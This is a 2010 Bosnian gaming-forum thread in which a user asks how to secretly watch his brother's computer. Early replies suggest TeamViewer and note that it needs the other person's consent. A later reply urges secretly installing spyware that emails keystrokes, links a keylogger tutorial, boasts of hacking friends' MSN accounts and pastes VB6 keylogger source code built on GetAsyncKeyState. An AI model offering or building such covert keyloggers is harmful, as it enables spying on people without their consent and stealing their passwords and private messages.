Preskoči na sadržaj
Ista raja. Nova runda.
GAMERZ.ba — REBORN
Diskusija U kanti

Program za gledanje tudjeg komjutera

124 pregleda · 12 odgovora · otvorena 07.06.2010. u 17:41

Cito sam nesto na google da postoje neki programi za pracenje udaljenih racuna na principu ip a ja bi to radio kod brata na komjuteru al nas je internet isti radi na wireless i ista nam ip pa dali postoji neki program da direktno se spojim na njega da vidim sta radi havala ako neko zna :)
http://www.teamviewer.com/index.aspx

Molim aplauz od nadleznih, potrudio sam se da pomognem momku !
ok :) vidio sam i taj al bi skonto postojo li neki da se neskonta D:
Postoji TeamViwer ali osoba na drugom kompjuteru ti mora dati id i pw te onda mozes vidjeti njegov comp.
PsychOo je napisao/la:
ok vidio sam i taj al bi skonto postojo li neki da se neskonta D:
Imas program samo ukucas ime covjeka i on ti ga nadje odmah, i kliknes na dugme "Prebaci pare" i dobijes sve njegovo pare.

Link na PM
nera_f je napisao/la:
http://www.teamviewer.com/index.aspx

Molim aplauz od nadleznih, potrudio sam se da pomognem momku !
Legendarno hahahahahah

Btw i mislio sam napisati isto TW .
aL sam zakasnio


Koristit ovaj program mozes jedino ako s "drugom" zelis nesto znaci i on mora skinuti ovo i onda se konektovati dobit cete IP i tako
Jednostavno je za skontat, ovo sam napiso brz1inski

Download
nera_f je napisao/la:
http://www.teamviewer.com/index.aspx

Molim aplauz od nadleznih, potrudio sam se da pomognem momku !
Post je dobio aplauz od ellyx!

Samo da je još zelene boje i da dobiješ 10 bodova

@tpc Rekli su ti program, al sa njim možeš samo ako ti neko da podatke i dozvolu, a ako misliš provaljivat grdno se varaš!
skonto sam stacu provaljivati burazu u komp samo me zanima sta radi da ga malo zajebavam hehe ;)) nista hvala svima :D
nera_f je napisao/la:
http://www.teamviewer.com/index.aspx

Molim aplauz od nadleznih, potrudio sam se da pomognem momku !

nera_f je napisao/la:
http://www.teamviewer.com/index.aspx

Molim aplauz od nadleznih, potrudio sam se da pomognem momku !
Postovi virus spywere:) Sve sto on tipka radi tebi se salje na neki e-amil mozes da odredis svakih kolkko min da ti dolazi
Tako sam ja drugu a i imas i

keylogger:) tut na ovoj str
http://www.dernek.ba/blog/572583/Red__Devil12/ardamax-keylogger-tutorial-by-me xaxaxa ja sam ti prije hakovo msn viruse pravio i ta sranja radio drugarima pa su me bili izbacili iz drustva i morao sam to da prestanem da radim

I ponovo sam u drustvu :)

google je cudo i youtube
a porn stranica redtube je cudo
kod kako da ga napravis u vb 6.0 i iznad


Code:

'In a module
Public Const DT_CENTER = &H1
Public Const DT_WORDBREAK = &H10
Type RECT
Left As Long
Top As Long
Right As Long
Bottom As Long
End Type
Declare Function DrawTextEx Lib "user32" Alias "DrawTextExA" _
(ByVal hDC As Long, ByVal lpsz As String, ByVal n As Long, _
lpRect As RECT, ByVal un As Long, ByVal lpDrawTextParams As Any) As Long
Declare Function SetTimer Lib "user32" (ByVal hwnd As Long, _
ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long) As Long
Declare Function KillTimer Lib "user32" _
(ByVal hwnd As Long, ByVal nIDEvent As Long) As Long
Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Declare Function SetRect Lib "user32" (lpRect As RECT, _
ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long
Global Cnt As Long, sSave As String, sOld As String, Ret As String
Dim Tel As Long
Function GetPressedKey() As String
For Cnt = 32 To 128
'Get the keystate of a specified key
If GetAsyncKeyState(Cnt) <> 0 Then
GetPressedKey = Chr$(Cnt)
Exit For
End If
Next Cnt
End Function
Sub TimerProc(ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long)
Ret = GetPressedKey
If Ret <> sOld Then
sOld = Ret
sSave = sSave + sOld
End If
End Sub

'In a form
Private Sub Form_Load()
'KPD-Team 1999
'URL: http://www.allapi.net/
'E-Mail: [email uklonjen]
Me.Caption = "Key Spy"
'Create an API-timer
SetTimer Me.hwnd, 0, 1, AddressOf TimerProc
End Sub
Private Sub Form_Paint()
Dim R As RECT
Const mStr = "Start this project, go to another application, type something, " & _
"switch back to this application and unload the form. If you unload " & _
"the form, a messagebox with all the typed keys will be shown."
'Clear the form
Me.Cls
'API uses pixels
Me.ScaleMode = vbPixels
'Set the rectangle's values
SetRect R, 0, 0, Me.ScaleWidth, Me.ScaleHeight
'Draw the text on the form
DrawTextEx Me.hDC, mStr, Len(mStr), R, DT_WORDBREAK Or DT_CENTER, ByVal 0&
End Sub
Private Sub Form_Resize()
Form_Paint
End Sub
Private Sub Form_Unload(Cancel As Integer)
'Kill our API-timer
KillTimer Me.hwnd, 0
'Show all the typed keys
MsgBox sSave
End Sub


kad se sjetim starih dana:)

Prijavi se da bi odgovorio/la na ovu temu.